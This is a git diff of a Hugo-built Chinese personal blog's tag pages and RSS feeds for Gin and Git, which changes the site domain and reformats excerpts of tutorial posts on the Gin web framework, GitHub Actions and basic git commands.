+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Gin | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/gin/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/gin/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Gin"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/gin/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Gin"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Gin</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
-import "github.com/gin-gonic/gin"
-import "net/http"
-func main() {
-g := gin.Default()
-g.GET("/", func(c *gin.Context) {
-c.String(http.StatusOK, "hallo word")
-})
-g.Run()
-}
-go run main.go
+package main import "github.com/gin-gonic/gin" import "net/http" func main() { g := gin.Default() g.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "hallo word") }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(":2333")
 路由
-r.GET("/test/:name", func(c *gin.Context) {
-name := c.Param("name")
-c.String(http.StatusOK, name)
-})
-g.Run(":6666")
-127.0.0.1:6666/test/xiaochen
+r.GET("/test/:name", func(c *gin.Context) { name := c.Param("name") c.String(http.StatusOK, name) }) g.Run(":6666") 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET("/test", func(c *gin.Context) {
-name := c.DefaultQuery("name", "test")
-c.String(http.StatusOK, fmt.Sprintf("hallo %s", name))
-})
-r.Run()
-127.0.0.1:6666/test
+r.GET("/test", func(c *gin.Context) { name := c.DefaultQuery("name", "test") c.String(http.StatusOK, fmt.Sprintf("hallo %s", name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
-index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://xiaochenabc123.github.io/posts/135/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://chenjunlinabc.github.io/posts/135/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/gin/index.xml b/tags/gin/index.xml
index 6287ea71..718f6563 100644
--- a/tags/gin/index.xml
+++ b/tags/gin/index.xml
@@ -2,33 +2,33 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Gin on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/gin/</link>
+    <link>https://chenjunlinabc.github.io/tags/gin/</link>
     <description>Recent content in Gin on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 15 Feb 2022 17:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/gin/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 15 Feb 2022 17:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/gin/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Gin框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/135/</link>
+      <link>https://chenjunlinabc.github.io/posts/135/</link>
       <pubDate>Tue, 15 Feb 2022 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/135/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/135/</guid>
       <description>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
import &amp;quot;github.com/gin-gonic/gin&amp;quot;
import &amp;quot;net/http&amp;quot;
func main() {
g := gin.Default()
g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) {
c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;)
})
g.Run()
}
go run main.go
+package main import &amp;quot;github.com/gin-gonic/gin&amp;quot; import &amp;quot;net/http&amp;quot; func main() { g := gin.Default() g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) { c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;) }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(&amp;quot;:2333&amp;quot;)
 路由
-r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) {
name := c.Param(&amp;quot;name&amp;quot;)
c.String(http.StatusOK, name)
})
g.Run(&amp;quot;:6666&amp;quot;)
127.0.0.1:6666/test/xiaochen
+r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) { name := c.Param(&amp;quot;name&amp;quot;) c.String(http.StatusOK, name) }) g.Run(&amp;quot;:6666&amp;quot;) 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) {
name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;)
c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name))
})
r.Run()
127.0.0.1:6666/test
+r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) { name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;) c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
diff --git a/tags/gin/page/1/index.html b/tags/gin/page/1/index.html
index 741e7e39..a6deab48 100644
--- a/tags/gin/page/1/index.html
+++ b/tags/gin/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/gin/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/gin/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/gin/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/gin/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/gin/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/gin/"></head></html>
\ No newline at end of file
diff --git a/tags/git/index.html b/tags/git/index.html
index e77f2370..7de9acfa 100644
--- a/tags/git/index.html
+++ b/tags/git/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Git | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/git/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/git/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Git"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/git/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Git"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Git</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Git | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/git/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/git/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Git"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/git/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Git"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Git</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
 workflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务
@@ -9,14 +9,7 @@
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
-on: [push]
-jobs:
-Explore-GitHub-Actions:
-runs-on: ubuntu-latest
-steps:
-- run: echo " The job was automatically triggered by a ${{ github.event_name }} event."
-- run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://xiaochenabc123.github.io/posts/131/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Git版本管理系统学习笔记</h2></header><div class=entry-content><p>git安装
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo " The job was automatically triggered by a ${{ github.event_name }} event." - run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://chenjunlinabc.github.io/posts/131/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Git版本管理系统学习笔记</h2></header><div class=entry-content><p>git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
 Linux
@@ -35,7 +28,7 @@
 git status #返回仓库的当前状态
 git diff 文件名 #查看当前文件的内容
 git log #查看历史记录，加上–pretty=oneline 查看commit id（版本号）
-git reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本...</p></div><footer class=entry-footer><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Git版本管理系统学习笔记" href=https://xiaochenabc123.github.io/posts/30/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+git reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本...</p></div><footer class=entry-footer><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Git版本管理系统学习笔记" href=https://chenjunlinabc.github.io/posts/30/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/git/index.xml b/tags/git/index.xml
index 207fa69b..f94acf82 100644
